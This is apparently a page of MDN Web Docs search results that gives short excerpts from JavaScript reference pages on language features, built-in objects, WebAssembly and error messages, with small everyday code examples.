WebAssembly - JavaScript
the webassembly javascript object acts as the namespace for all webassembly-related functionality.
... webassembly.global() represents a global variable instance, accessible from both javascript and importable/exportable across one or more webassembly.module instances.
... specifications specification webassembly javascript interfacethe definition of 'webassembly' in that specification.
undefined - JavaScript
it is one of javascript's primitive types.
... in modern browsers (javascript 1.8.5 / firefox 4+), undefined is a non-configurable, non-writable property, per the ecmascript 5 specification.
...javascript is a statically scoped language, so knowing if a variable is declared can be read by seeing whether it is declared in an enclosing context.
Standard built-in objects - JavaScript
this chapter documents all of javascript's standard, built-in objects, including their methods and properties.
... for more information about the distinction between the dom and core javascript, see javascript technologies overview.
... map set weakmap weakset structured data these objects represent and interact with structured data buffers and data coded using javascript object notation (json).
Property accessors - JavaScript
dot notation in the object.property syntax, the property must be a valid javascript identifier.
... let foo = {unique_prop: 1}, bar = {unique_prop: 2}, object = {}; object[foo] = 'value' console.log(object[bar]) in the spidermonkey javascript engine, this string would be "[object object]".
...eval javascript novices often make the mistake of using eval() where the bracket notation can be used instead.
typeof - JavaScript
for more information about types and primitives, see also the javascript data structure page.
...typeof new boolean(true) === 'object'; typeof new number(1) === 'object'; typeof new string('abc') === 'object'; // functions typeof function() {} === 'function'; typeof class c {} === 'function'; typeof math.sin === 'function'; typeof null // this stands since the beginning of javascript typeof null === 'object'; in the first implementation of javascript, javascript values were represented as a type tag and a value.
...the case of document.all having type 'undefined' is classified in the web standards as a "willful violation" of the original ecma javascript standard.
Expressions and operators - JavaScript
this chapter documents all the javascript language operators, expressions and keywords.
... primary expressions basic keywords and general expressions in javascript.
... binary bitwise operators bitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard javascript numerical values.
empty - JavaScript
an empty statement is used to provide no statement, although the javascript syntax would expect one.
... syntax ; description the empty statement is a semicolon (;) indicating that no statement will be executed, even if javascript syntax requires one.
... the opposite behavior, where you want multiple statements, but javascript only allows a single one, is possible using a block statement, which combines several statements into a single one.
label - JavaScript
syntax label : statement label any javascript identifier that is not a reserved word.
... statement a javascript statement.
... note that javascript has no goto statement, you can only use labels with break or continue.
switch - JavaScript
javascript will drop you back to the default if it can't find a match: var foo = 5; switch (foo) { case 2: console.log(2); break; // it encounters this break so will not continue into 'default:' default: console.log('default') // fall-through case 1: console.log('1'); } it also works when you put default before all other cases.
... methods for multi-criteria case source for this technique is here: switch statement multiple cases in javascript (stack overflow) multi-case : single operation this method takes advantage of the fact that if there is no break below a case clause it will continue to execute the next case clause regardless if the case meets the criteria.
...in javascript, you can even mix in definitions of strings into these case statements as well.
Statements and declarations - JavaScript
javascript applications consist of statements with an appropriate syntax.
... empty an empty statement is used to provide no statement, although the javascript syntax would expect one.
... import.meta an object exposing context-specific metadata to a javascript module.
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
this document describes the javascript interface in mozilla 1.2 and up to the xslt processing engine (transformiix).
...see the xslt/javascript interface in gecko for an example.
... instead of this: var processor = new xsltprocessor(); do this: var processor = components.classes["@mozilla.org/document-transformer;1?type=xslt"] .createinstance(components.interfaces.nsixsltprocessor); see also the xslt javascript interface in gecko document.load() regarding the loading of xml documents (as used above) original document information author(s): mike hearn last updated date: december 21, 2005 copyright information: copyright (c) mike hearn ...
Using JavaScript Generators in Firefox - Archive of obsolete content
generators can be used to simplify asynchronous code in firefox by opting in to using javascript version 1.7 or later.
... you can opt in in html as follows: <script type="text/javascript;version=1.7" src="myscript.js"></script> then your myscript.js file might look like this: // need to stash the generator in a global variable.
New in JavaScript 1.4 - Archive of obsolete content
the following is a changelog for javascript 1.4, which was only used for netscape's server side javascript released in 1999.
... new features in javascript 1.4 exception handling (throw and try...catch) in operator instanceof operator changed functionality in javascript 1.4 eval() changes (cannot be called indirectly and no longer a method of object) arguments not a property of functions deprecated function.arity in favor of function.length changes to liveconnect ...
Property (JavaScript) - MDN Web Docs Glossary: Definitions of Web-related terms
a javascript property is a characteristic of an object, often describing attributes associated with a data structure.
... learn more general knowledge property (programming) on wikipedia introduction to object-oriented javascript ...
Test your skills: Object-oriented JavaScript - Learn web development
the aim of this skill test is to assess whether you've understood our object-oriented javascript for beginners, object prototypes, and inheritance in javascript articles.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
JavaScript OS.Constants
javascript module os.constants contains operating system-specific constants.
...useful, for instance, to access the platform code from javascript in conjunction with js-ctypes.
Unicode property escapes - JavaScript
note: as there are many properties and values available, we will not describe them exhaustively here but rather provide various examples rationale before es2018 there was no performance-efficient way to match characters from different sets based on scripts (like macedonian, greek, georgian etc.) or propertyname (like emoji etc) in javascript.
...character classes with javascript regular expressions, it is also possible to use character classes and especially \w or \d to match letters or digits.
Classes - JavaScript
constructor(height, width) { this.height = height; this.width = width; } } static (class-side) data properties and prototype data properties must be defined outside of the classbody declaration: rectangle.staticwidth = 20; rectangle.prototype.prototypewidth = 25; field declarations public and private field declarations are an experimental feature (stage 3) proposed at tc39, the javascript standards committee.
... public field declarations with the javascript field declaration syntax, the above example can be written as: class rectangle { height = 0; width; constructor(height, width) { this.height = height; this.width = width; } } by declaring fields up-front, class definitions become more self-documenting, and the fields are always present.
SyntaxError: invalid regular expression flag "x" - JavaScript
the javascript exception "invalid regular expression flag" occurs when the flags, defined after the second slash in regular expression literal, are not one of g, i, m, s, u, or y.
... let obj = { url: '/docs/web' }; valid regular expression flags see the table above for the six valid regular expression flags that are allowed in javascript.
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
the javascript exception "property is non-configurable and can't be deleted" occurs when it was attempted to delete a property, but that property is non-configurable.
... 'use strict'; var obj = object.freeze({name: 'elsa', score: 157}); delete obj.score; // typeerror 'use strict'; var obj = {}; object.defineproperty(obj, 'foo', {value: 2, configurable: false}); delete obj.foo; // typeerror 'use strict'; var frozenarray = object.freeze([0, 1, 2]); frozenarray.pop(); // typeerror there are also a few non-configurable properties built into javascript.
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
the javascript warning about string generics occurs in firefox versions prior to 68.
...javascript execution won't be halted.
ReferenceError: deprecated caller or arguments usage - JavaScript
the javascript strict mode-only exception "deprecated caller or arguments usage" occurs when the deprecated function.caller or function.arguments properties are used.
...javascript execution won't be halted.
Warning: expression closures are deprecated - JavaScript
the javascript warning "expression closures are deprecated" occurs when the non-standard expression closure syntax (shorthand function syntax) is used.
...javascript execution won't be halted.
Warning: Date.prototype.toLocaleFormat is deprecated - JavaScript
the javascript warning "date.prototype.tolocaleformat is deprecated; consider using intl.datetimeformat instead" occurs when the non-standard date.prototype.tolocaleformat method is used.
...javascript execution won't be halted.
URIError: malformed URI sequence - JavaScript
the javascript exception "malformed uri sequence" occurs when uri encoding or decoding wasn't successful.
...if there isn't such a character, an error will be thrown: decodeuricomponent('%e0%a4%a'); // "urierror: malformed uri sequence" with proper input, this should usually look like something like this: decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" ...
SyntaxError: missing formal parameter - JavaScript
the javascript exception "missing formal parameter" occurs when your function declaration is missing valid parameters.
... in javascript, identifiers can contain only alphanumeric characters (or "$" or "_"), and may not start with a digit.
SyntaxError: missing = in const declaration - JavaScript
the javascript exception "missing = in const declaration" occurs when a const declaration was not given a value in the same statement (like const red_flag;).
...in javascript, constants are declared using the const keyword.
SyntaxError: missing name after . operator - JavaScript
the javascript exception "missing name after .
... examples property access property accessors in javascript use either the dot (.) or square brackets ([]), but not both.
SyntaxError: missing variable name - JavaScript
the javascript exception "missing variable name" occurs way too often as naming things is so hard.
... var x, y = "foo", var x, = "foo" var first = document.getelementbyid('one'), var second = document.getelementbyid('two'), // syntaxerror: missing variable name the fixed version: var x, y = "foo"; var x = "foo"; var first = document.getelementbyid('one'); var second = document.getelementbyid('two'); arrays array literals in javascript need square brackets around the values.
TypeError: "x" is not a constructor - JavaScript
the javascript exception "is not a constructor" occurs when there was an attempt to use an object or a variable as a constructor, but that object or variable is not a constructor.
...the following javascript standard built-in objects are not a constructor: math, json, symbol, reflect, intl, atomics.
TypeError: "x" is not a function - JavaScript
the javascript exception "is not a function" occurs when there was an attempt to call a value from a function, but the value is not actually a function.
...for example, javascript objects have no map function, but the javascript array object does.
TypeError: "x" is read-only - JavaScript
the javascript strict mode-only exception "is read-only" occurs when a global variable or object property that was assigned to is a read-only property.
... 'use strict'; var obj = object.freeze({name: 'elsa', score: 157}); obj.score = 0; // typeerror 'use strict'; object.defineproperty(this, 'lung_count', {value: 2, writable: false}); lung_count = 3; // typeerror 'use strict'; var frozenarray = object.freeze([0, 1, 2]); frozenarray[0]++; // typeerror there are also a few read-only properties built into javascript.
SyntaxError: redeclaration of formal parameter "x" - JavaScript
the javascript exception "redeclaration of formal parameter" occurs when the same variable name occurs as a function parameter and is then redeclared using a let assignment in a function body again.
...redeclaring the same variable within the same function or block scope using let is not allowed in javascript.
TypeError: Reduce of empty array with no initial value - JavaScript
the javascript exception "reduce of empty array with no initial value" occurs when a reduce function is used.
... in javascript, there are several reduce functions: array.prototype.reduce(), array.prototype.reduceright() and typedarray.prototype.reduce(), typedarray.prototype.reduceright()).
RangeError: repeat count must be less than infinity - JavaScript
the javascript exception "repeat count must be less than infinity" occurs when the string.prototype.repeat() method is used with a count argument that is infinity.
... the resulting string can also not be larger than the maximum string size, which can differ in javascript engines.
ReferenceError: assignment to undeclared variable "x" - JavaScript
the javascript strict mode-only exception "assignment to undeclated variable" occurs when the value has been assigned to an undeclared variable.
...there are some differences between declared and undeclared variables, which might lead to unexpected results and that's why javascript presents an error in strict mode.
ReferenceError: reference to undefined property "x" - JavaScript
the javascript warning "reference to undefined property" occurs when a script attempted to access an object property which doesn't exist.
... message referenceerror: reference to undefined property "x" (firefox) error type (firefox only) referenceerror warning which is reported only if javascript.options.strict preference is set to true.
TypeError: variable "x" redeclares argument - JavaScript
the javascript strict mode-only exception "variable redeclares argument" occurs when the same variable name occurs as a function parameter and is then redeclared using a var assignment in a function body again.
...this might be a naming conflict and thus javascript warns about it.
TypeError: 'x' is not iterable - JavaScript
the javascript exception "is not iterable" occurs when the value which is given as the right hand-side of for…of or as argument of a function such as promise.all or typedarray.from, is not an iterable object.
... examples iterating over object properties in javascript, objects are not iterable unless they implement the iterable protocol.
arguments.callee - JavaScript
(adapted from a stack overflow answer by olliej) early versions of javascript did not allow named function expressions, and for this reason you could not make a recursive function expression.
...b * c : d * e; } if the javascript interpreter cannot guarantee that all the provided arguments are numbers at the point that the call is made, it needs to either insert checks for all the arguments before the inlined code, or it cannot inline the function.
Array.prototype.find() - JavaScript
polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet.
... return undefined; }, configurable: true, writable: true }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it is best not to polyfill array.prototype at all, as you cannot make it non-enumerable.
Array.prototype.toSource() - JavaScript
this method is usually called internally by javascript and not explicitly in code.
...implemented in javascript 1.3.
Array.prototype.toString() - JavaScript
javascript calls the tostring method automatically when an array is to be represented as a text value or when an array is referred to in a string concatenation.
... ecmascript 5 semantics starting in javascript 1.8.5 (firefox 4), and consistent with ecmascript 5th edition semantics, the tostring() method is generic and can be used with any object.
DataView - JavaScript
return new int16array(buffer)[0] === 256; })(); console.log(littleendian); // true or false 64-bit integer values because javascript does not currently include standard support for 64-bit integer values, dataview does not offer native 64-bit operations.
...further, although native bigints are much faster than user-land library equivalents, bigints will always be much slower than 32-bit integers in javascript due to the nature of their variable size.
Date.prototype[@@toPrimitive] - JavaScript
javascript calls the [@@toprimitive]() method to convert an object to a primitive value.
... you rarely need to invoke the [@@toprimitive]() method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected.
Date() constructor - JavaScript
creates a javascript date instance that represents a single moment in time in a platform-independent format.
... examples several ways to create a date object the following examples show several ways to create javascript dates: note: parsing of date strings with the date constructor (and date.parse, they are equivalent) is strongly discouraged due to browser differences and inconsistencies.
Function.prototype.apply() - JavaScript
simple loop based algorithm max = -infinity, min = +infinity; for (let i = 0; i < numbers.length; i++) { if (numbers[i] > max) { max = numbers[i]; } if (numbers[i] < min) { min = numbers[i]; } } but beware: by using apply this way, you run the risk of exceeding the javascript engine's argument length limit.
...(the javascriptcore engine has hard-coded argument limit of 65536.
Function.name - JavaScript
javascript compressors and minifiers warning: be careful when using function.name and source code transformations, such as those carried out by javascript compressors (minifiers) or obfuscators.
... these tools are often used as part of a javascript build pipeline to reduce the size of a program prior to deploying it to production.
Function.prototype.toSource() - JavaScript
this method is usually called internally by javascript and not explicitly in code.
... examples native functions for the built-in function object, tosource() returns the following string indicating that the source code is not available: function function() { [native code] } custom functions for custom functions, tosource() returns the javascript source that defines the object as a string.
Intl.Locale.prototype.toString() - JavaScript
description the locale object is a javascript representation of a concept unicode locale identifier.
...to make it easier to work with these locale identifiers, the locale object was introduced to javascript.
Math.fround() - JavaScript
description javascript uses 64-bit double floating-point numbers internally, which offer a very high precision.
...internally, javascript continues to treat the number as a 64-bit float, it just performs a "round to even" on the 23rd bit of the mantissa, and sets all following mantissa bits to 0.
Number.MAX_SAFE_INTEGER - JavaScript
the number.max_safe_integer constant represents the maximum safe integer in javascript (253 - 1).
...the reasoning behind that number is that javascript uses double-precision floating-point format numbers as specified in ieee 754 and can only safely represent numbers between -(253 - 1) and 253 - 1.
Number.MIN_SAFE_INTEGER - JavaScript
the number.min_safe_integer constant represents the minimum safe integer in javascript (-(253 - 1)).
...the reasoning behind that number is that javascript uses double-precision floating-point format numbers as specified in ieee 754 and can only safely represent numbers between -(253 - 1) and 253 - 1.
Number.MIN_VALUE - JavaScript
the number.min_value property represents the smallest positive numeric value representable in javascript.
... property attributes of number.min_value writable no enumerable no configurable no description the min_value property is the number closest to 0, not the most negative number, that javascript can represent.
Number.isNaN() - JavaScript
this situation is unlike all other possible value comparisons in javascript.
... polyfill the following works because nan is the only value in javascript which is not equal to itself.
Object.defineProperties() - JavaScript
can be any valid javascript value (number, object, function, etc).
... polyfill assuming a pristine execution environment with all names and properties referring to their initial values, object.defineproperties is almost completely equivalent (note the comment in iscallable) to the following reimplementation in javascript: function defineproperties(obj, properties) { function converttodescriptor(desc) { function hasproperty(obj, prop) { return object.prototype.hasownproperty.call(obj, prop); } function iscallable(v) { // nb: modify as necessary if other values than functions are callable.
Object.keys() - JavaScript
polyfill to add compatible object.keys support in older environments that do not natively support it, copy the following snippet: // from /docs/web/javascript/reference/global_objects/object/keys if (!object.keys) { object.keys = (function() { 'use strict'; var hasownproperty = object.prototype.hasownproperty, hasdontenumbug = !({ tostring: null }).propertyisenumerable('tostring'), dontenums = [ 'tostring', 'tolocalestring', 'valueof', 'hasownproperty', 'isprototypeof', ...
... for a simple browser polyfill, see javascript - object.keys browser compatibility.
Object.prototype.__proto__ - JavaScript
warning: changing the [[prototype]] of an object is, by the nature of how modern javascript engines optimize property accesses, a very slow operation, in every browser and javascript engine.
...for objects created using new fun, where fun is one of the built-in constructor functions provided by javascript (array, boolean, date, number, object, string, and so on — including new constructors added as javascript evolves), this value is always fun.prototype.
Object.prototype.toSource() - JavaScript
for example: function person(name) { this.name = name; } person.prototype.tosource = function person_tosource() { return 'new person(' + uneval(this.name) + ')'; }; console.log(new person('joe').tosource()); // ---> new person("joe") built-in tosource() methods each core javascript type has its own tosource() method.
... examples using tosource() the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog = new dog('gabby', 'lab', 'chocolate', 'female'); calling the tosource() method of thedog displays the javascript source that defines the object: thedog.tosource(); // returns ({name:"gabby", breed:"lab", color:"chocolate", sex:"female"}) specifications not part of any standard.
Proxy - JavaScript
obj[prop] : 37; } }; const p = new proxy({}, handler); p.a = 1; p.b = undefined; console.log(p.a, p.b); // 1, undefined console.log('c' in p, p.c); // false, 37 no-op forwarding proxy in this example, we are using a native javascript object to which our proxy will forward all operations that are applied to it.
... const target = {}; const p = new proxy(target, {}); p.a = 37; // operation forwarded to the target console.log(target.a); // 37 // (the operation has been properly forwarded!) note that while this "no-op" works for javascript objects, it does not work for native browser objects like dom elements.
RegExp - JavaScript
for an introduction to regular expressions, read the regular expressions chapter in the javascript guide.
...(perl is the programming language from which javascript modeled its regular expressions.).
String.prototype.charCodeAt() - JavaScript
(for information on unicode, see the javascript guide.) note: charcodeat() will always return a value that is less than 65536.
... backward compatibility: in historic versions (like javascript 1.2) the charcodeat() method returns a number indicating the iso-latin-1 codeset value of the character at the given index.
Symbol.prototype[@@toPrimitive] - JavaScript
javascript calls the [@@toprimitive]() method to convert an object to a primitive value.
... you rarely need to invoke the [@@toprimitive]() method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected.
Symbol.prototype.valueOf() - JavaScript
javascript calls the valueof method to convert an object to a primitive value.
... you rarely need to invoke the valueof method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected.
TypedArray.prototype.toString() - JavaScript
var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "2,5,8,1,4" javascript calls the tostring method automatically when a typed array is to be represented as a text value or when an array is referred to in a string concatenation.
... compatibility if a browser doesn't support the typedarray.prototype.tostring() method yet, javascript will call the tostring method of object: var numbers = new uint8array([2, 5, 8, 1, 4]) numbers.tostring(); // "[object uint8array]" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification.
WebAssembly.Global() constructor - JavaScript
a webassembly.global() constructor creates a new global object representing a global variable instance, accessible from both javascript and importable/exportable across one or more webassembly.module instances.
... specifications specification webassembly javascript interfacethe definition of 'webassembly.global() constructor' in that specification.
WebAssembly.Global - JavaScript
a webassembly.global object represents a global variable instance, accessible from both javascript and importable/exportable across one or more webassembly.module instances.
... specifications specification webassembly javascript interfacethe definition of 'webassembly.global()' in that specification.
WebAssembly.Table() constructor - JavaScript
this example shows that we're creating and accessing the table from javascript, but the same table is visible and callable inside the wasm instance too.
... specifications specification webassembly javascript interfacethe definition of 'table' in that specification.
WebAssembly.Table.prototype.get() - JavaScript
return value a function reference — this is an exported webassembly function, a javascript wrapper for an underlying wasm function.
... specifications specification webassembly javascript interfacethe definition of 'get()' in that specification.
WebAssembly.instantiate() - JavaScript
first overload example after fetching some webassembly bytecode using fetch, we compile and instantiate the module using the webassembly.instantiate() function, importing a javascript function into the webassembly module in the process.
... var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'instantiate()' in that specification.
Iteration protocols - JavaScript
the iterable protocol the iterable protocol allows javascript objects to define or customize their iteration behavior, such as what values are looped over in a for...of construct.
... value any javascript value returned by the iterator.
this - JavaScript
a function's this keyword behaves a little differently in javascript compared to other languages.
...this is an interesting feature of javascript's prototype inheritance.
void operator - JavaScript
javascript uris when a browser follows a javascript: uri, it evaluates the code in the uri and then replaces the contents of the page with the returned value, unless the returned value is undefined.
...for example: <a href="javascript:void(0);"> click here to do nothing </a> <a href="javascript:void(document.body.style.backgroundcolor='green');"> click here for green background </a> note: javascript: pseudo protocol is discouraged over other alternatives, such as unobtrusive event handlers.
block - JavaScript
it allows you to use multiple statements where javascript expects only one statement.
... combining statements into blocks is a common practice in javascript.
if...else - JavaScript
note that there is no elseif (in one word) keyword in javascript.
...for example: var b = new boolean(false); if (b) // this condition is truthy examples using if...else if (cipher_char === from_char) { result = result + to_char; x++; } else { result = result + clear_char; } using else if note that there is no elseif syntax in javascript.
import.meta - JavaScript
the import.meta object exposes context-specific metadata to a javascript module.
... for example, with the following html: <script type="module"> import './index.mjs?someurlinfo=5'; </script> ..the following javascript file will log the `someurlinfo parameter: // index.mjs new url(import.meta.url).searchparams.get('someurlinfo'); // 5 the same applies when a file imports another: // index.mjs import './index2.mjs?someurlinfo=5'; // index2.mjs new url(import.meta.url).searchparams.get('someurlinfo'); // 5 note that while node.js will pass on query parameters (or the hash) as in the latter example, as of nod...
let - JavaScript
each must be a legal javascript identifier.
... value1, value2, …, valuen optional for each variable declared, you may optionally specify its initial value to any legal javascript expression.
try...catch - JavaScript
you can also use the try statement to handle javascript exceptions.
... see the javascript guide for more information on javascript exceptions.
var - JavaScript
javascript has automatic memory management, and it would make no sense to be able to use the delete operator on a global variable.
... note that the implication of the above, is that, contrary to popular misinformation, javascript does not have implicit or undeclared variables, it merely has a syntax that looks like it does.
Transitioning to strict mode - JavaScript
new runtime errors javascript used to silently fail in contexts where what was done was an error.
...this made optimizations complicated for javascript engine and made code harder to read/understand.
JavaScript OS.Shared - Archive of obsolete content
module os.shared contains tools to interact with the operating system (and, more generally, in c) in javascript.
JavaScript crypto - Archive of obsolete content
using the mozilla crypto object from javascript mozilla defines a special javascript object to allow web pages access to certain cryptographic-related services.
Microsoft JavaScript extensions - Archive of obsolete content
microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard javascript apis.
JavaScript libraries from Mozilla projects
in addition to firefox and other applications, mozilla developers have created a number of useful javascript libraries you can use in your projects.
JavaScript OS
the javascript os module contains tools that allow chrome content (i.e.
Using workers in JavaScript code modules
note: as of gecko 8.0, the nsiworkerfactory interface has been removed starting in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), you can use workers in javascript code modules (jsms).
javascript.options.showInConsole
the preference javascript.options.showinconsole controls whether errors or warnings in chrome code are shown in the error console.
L20n Javascript API
l20n javascript api var ctx = l20n.getcontext(); ctx.linkresource('./locales/strings.l20n'); ctx.requestlocales(); when you freeze the context by calling requestlocales, the resource files will be retrieved, parsed and compiled.
Running Automated JavaScript Tests
command-line argument, where pattern is a regexp pattern that is tested against file:///{path_to_obj_dir}/dist/test-stage/jsreftest/tests/jsreftest.html?test={relative_path_to_test_from_js/src/tests} string: ./mach jstestbrowser --filter=pattern running jstests on treeherder when viewing treeherder after a push to the mozilla repositories, jstests run in the browser are shown as r(j) meaning "javascript reftests".
Places utilities for JavaScript
markpageasfollowedbookmark(string aurl) checkurlsecurity() allows opening of javascript/data uri only if the given node is bookmarked (see bug 224521).
The Firefox JavaScript Debugger - Firefox Developer Tools
the javascript debugger enables you to step through javascript code and examine or modify its state to help track down bugs.
Equality comparisons and sameness - JavaScript
quality algorithms in es2015: abstract equality comparison (==) strict equality comparison (===): used by array.prototype.indexof, array.prototype.lastindexof, and case-matching samevaluezero: used by %typedarray% and arraybuffer constructors, as well as map and set operations, and also string.prototype.includes and array.prototype.includes since es2016 samevalue: used in all other places javascript provides three different value-comparison operations: === - strict equality comparison ("strict equality", "identity", "triple equals") == - abstract equality comparison ("loose equality", "double equals") object.is provides samevalue (new in es2015).
Keyed collections - JavaScript
array.from(myset); [...myset2]; myset2 = new set([1, 2, 3, 4]); array and set compared traditionally, a set of elements has been stored in arrays in javascript in a lot of situations.
Public class fields - JavaScript
both public and private field declarations are an experimental feature (stage 3) proposed at tc39, the javascript standards committee.
TypeError: invalid Array.prototype.sort argument - JavaScript
the javascript exception "invalid array.prototype.sort argument" occurs when the argument of array.prototype.sort() isn't either undefined or a function which compares its operands.
RangeError: radix must be an integer - JavaScript
the javascript exception "radix must be an integer at least 2 and no greater than 36" occurs when the optional radix parameter of the number.prototype.tostring() or the bigint.prototype.tostring() method was specified and is not between 2 and 36.
SyntaxError: return not in function - JavaScript
the javascript exception "return (or yield) not in function" occurs when a return or yield statement is called outside of a function.
TypeError: X.prototype.y called on incompatible type - JavaScript
the javascript exception "called on incompatible target (or object)" occurs when a function (on a given object), is called with a this not corresponding to the type expected by the function.
ReferenceError: can't access lexical declaration`X' before initialization - JavaScript
the javascript exception "can't access lexical declaration `variable' before initialization" occurs when a lexical variable was accessed before it was initialized.
TypeError: can't access property "x" of "y" - JavaScript
the javascript exception "can't access property" occurs when property access was operated on undefined or null values.
TypeError: can't assign to property "x" on "y": not an object - JavaScript
the javascript strict mode exception "can't assign to property" occurs when attempting to create a property on primitive value such as a symbol, a string, a number or a boolean.
TypeError: can't define property "x": "obj" is not extensible - JavaScript
the javascript exception "can't define property "x": "obj" is not extensible" occurs when object.preventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible.
TypeError: can't redefine non-configurable property "x" - JavaScript
the javascript exception "can't redefine non-configurable property" occurs when it was attempted to redefine a property, but that property is non-configurable.
TypeError: cyclic object value - JavaScript
the javascript exception "cyclic object value" occurs when object references were found in json.
TypeError: can't access dead object - JavaScript
the javascript exception "can't access dead object" occurs when firefox disallows add-ons to keep strong references to dom objects after their parent document has been destroyed to improve in memory usage and to prevent memory leaks.
SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated - JavaScript
the javascript strict mode-only exception "0-prefixed octal literals and octal escape sequences are deprecated; for octal literals use the "0o" prefix instead" occurs when deprecated octal literals and octal escape sequences are used.
TypeError: setting getter-only property "x" - JavaScript
the javascript strict mode-only exception "setting getter-only property" occurs when there is an attempt to set a new value to a property for which only a getter is specified.
SyntaxError: illegal character - JavaScript
the javascript exception "illegal character" occurs when there is an invalid or unexpected token that doesn't belong at this position in the code.
RangeError: invalid array length - JavaScript
the javascript exception "invalid array length" occurs when creating an array or an arraybuffer which has a length which is either negative or larger or equal to 232, or when setting the array.length property to a value which is either negative or larger or equal to 232.
ReferenceError: invalid assignment left-hand side - JavaScript
the javascript exception "invalid assignment left-hand side" occurs when there was an unexpected assignment somewhere.
RangeError: invalid date - JavaScript
the javascript exception "invalid date" occurs when a string leading to an invalid date has been provided to date or date.parse().
SyntaxError: for-in loop head declarations may not have initializers - JavaScript
the javascript strict mode-only exception "for-in loop head declarations may not have initializers" occurs when the head of a for...in contains an initializer expression, such as |for (var i = 0 in obj)|.
SyntaxError: a declaration in the head of a for-of loop can't have an initializer - JavaScript
the javascript exception "a declaration in the head of a for-of loop can't have an initializer" occurs when the head of a for...of loop contains an initializer expression such as |for (var i = 0 of iterable)|.
SyntaxError: JSON.parse: bad parsing - JavaScript
the javascript exceptions thrown by json.parse() occur when string failed to be parsed as json.
SyntaxError: Malformed formal parameter - JavaScript
the javascript exception "malformed formal parameter" occurs when the argument list of a function() constructor call is invalid somehow.
SyntaxError: missing ] after element list - JavaScript
the javascript exception "missing ] after element list" occurs when there is an error with the array initializer syntax somewhere.
SyntaxError: missing : after property id - JavaScript
the javascript exception "missing : after property id" occurs when objects are created using the object initializer syntax.
SyntaxError: missing } after function body - JavaScript
the javascript exception "missing } after function body" occurs when there is a syntax mistake when creating a function somewhere.
SyntaxError: missing } after property list - JavaScript
the javascript exception "missing } after property list" occurs when there is a mistake in the object initializer syntax somewhere.
TypeError: More arguments needed - JavaScript
the javascript exception "more arguments needed" occurs when there is an error with how a function is called.
RangeError: repeat count must be non-negative - JavaScript
the javascript exception "repeat count must be non-negative" occurs when the string.prototype.repeat() method is used with a count argument that is a negative number.
TypeError: "x" is not a non-null object - JavaScript
the javascript exception "is not a non-null object" occurs when an object is expected somewhere and wasn't provided.
TypeError: "x" has no properties - JavaScript
the javascript exception "null (or undefined) has no properties" occurs when you attempt to access properties of null and undefined.
TypeError: can't delete non-configurable array element - JavaScript
the javascript exception "can't delete non-configurable array element" occurs when it was attempted to shorten the length of an array, but one of the array's elements is non-configurable.
RangeError: argument is not a valid code point - JavaScript
the javascript exception "invalid code point" occurs when nan values, negative integers (-1), non-integers (5.4), or values larger than 0x10ffff (1114111) are used with string.fromcodepoint().
ReferenceError: "x" is not defined - JavaScript
the javascript exception "variable is not defined" occurs when there is a non-existent variable referenced somewhere.
RangeError: precision is out of range - JavaScript
the javascript exception "precision is out of range" occurs when a number that's outside of the range of 0 and 20 (or 21) was passed into tofixed or toprecision.
Error: Permission denied to access property "x" - JavaScript
the javascript exception "permission denied to access property" occurs when there was an attempt to access an object for which you have no permission.
SyntaxError: "x" is a reserved identifier - JavaScript
the javascript exception "variable is a reserved identifier" occurs when reserved keywords are used as identifiers.
Warning: unreachable code after return statement - JavaScript
the javascript warning "unreachable code after return statement" occurs when using an expression after a return statement, or when using a semicolon-less return statement but including an expression directly after.
SyntaxError: "use strict" not allowed in function with non-simple parameters - JavaScript
the javascript exception "'use strict' not allowed in function" occurs when a "use strict" directive is used at the top of a function with default parameters, rest parameters, or destructuring parameters.
TypeError: invalid arguments - JavaScript
the javascript exception "invalid arguments" occurs when typed array constructors are provided with a wrong argument.
SyntaxError: Unexpected token - JavaScript
the javascript exceptions "unexpected token" occur when a specific language construct was expected, but something else was provided.
TypeError: "x" is (not) "y" - JavaScript
the javascript exception "x is (not) y" occurs when there was an unexpected type.
SyntaxError: function statement requires a name - JavaScript
the javascript exception "function statement requires a name" occurs when there is a function statement in the code that requires a name.
TypeError: cannot use 'in' operator to search for 'x' in 'y' - JavaScript
the javascript exception "right-hand side of 'in' should be an object" occurs when the in operator was used to search in strings, or in numbers, or other primitive types.
TypeError: invalid 'instanceof' operand 'x' - JavaScript
the javascript exception "invalid 'instanceof' operand" occurs when the right hand side operands of the instanceof operator isn't used with a constructor object, i.e.
Default parameters - JavaScript
syntax function [name]([param1[ = defaultvalue1 ][, ..., paramn[ = defaultvaluen ]]]) { statements } description in javascript, function parameters default to undefined.
getter - JavaScript
in javascript, this can be accomplished with the use of a getter.
Rest parameters - JavaScript
which will cause all remaining (user supplied) arguments to be placed within a "standard" javascript array.
setter - JavaScript
description in javascript, a setter can be used to execute a function whenever a specified property is attempted to be changed.
Array.prototype[@@iterator]() - JavaScript
